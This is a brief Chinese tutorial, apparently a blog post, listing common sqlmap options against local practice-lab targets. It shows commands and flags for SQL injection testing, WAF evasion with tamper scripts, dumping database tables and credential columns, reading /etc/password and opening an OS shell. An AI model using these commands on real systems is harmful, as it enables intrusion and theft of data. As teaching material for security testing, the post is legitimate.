SQLmap常见用法
-r
这个参数是将 抓到的请求包复制一个文件中然后使用此参数进行扫描,get post提交方法都支持
例如:
rp.txt 是抓取的数据包:
![在这里插入图片描述](https://img-blog.csdnimg.cn/6bddc13cbd01480e9f0657350659adb7.png)
sqlmap -r rp.txt
![在这里插入图片描述](https://img-blog.csdnimg.cn/870c65eaa88c484f96ada1eae4909d14.png)
也可以加 -p 指定注入点
sqlmap -r rp.txt -p name
![在这里插入图片描述](https://img-blog.csdnimg.cn/20452ef34cbf48b6b8f2d4653c812d5f.png)
-u
这个参数一些简单的get请求注入时用的较多,就-u 加地址即可
例如:
sqlmap -u http://192.168.56.132:901/sqlbc/Less-1/?id=1
![在这里插入图片描述](https://img-blog.csdnimg.cn/83e54fbb7753477c873b986d3e9741f0.png)
–tamper 过waf
sqlmap目录下有一个 tamper 文件夹里面是sqlmap自带的脚本
![在这里插入图片描述](https://img-blog.csdnimg.cn/65b66b62757f48afa7ba489ea1bb0fe4.png)
格式 --tamper"脚本名称"
例如:
sqlmap -u http://192.168.56.132/sqli/sqli_str.php?name=vince --tamper"base64encode.py"
SQLmap其他常用参数
参数 |
使用说明 |
–-level=LEVEL |
执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer |
–risk=RISK |
执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试 |
-p |
指定注入参数 |
-threads |
线程数,如果你想让sqlmap跑的更快,可以更改这个线程数默认值为10 |
-batch-smart |
智能判断测试 |
-m |
批量注入 |
–dbs |
获取数据库 |
–tables -D [数据库名] |
获取表名 |
–columns -T [表名] -D [数据库名] |
获取字段名 |
-T [表名] -C [字段] |
数据内容 例如:-T user -C username,password,email |
–file-read [文件路径] |
读文件内容 列如:–file-read /etc/password |
–os-shell |
系统交互的shell |
–users |
列出数据库所有所有用户 |
–is-dba |
判断当前的用户是否为管理 |
–current-db |
获取当前连接数据库名 |
–current-user |
检测数据库管理系统当前用户 |
-v |
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3 |
sqlmap这个工具能干很多事情,请各位大佬们补充!!!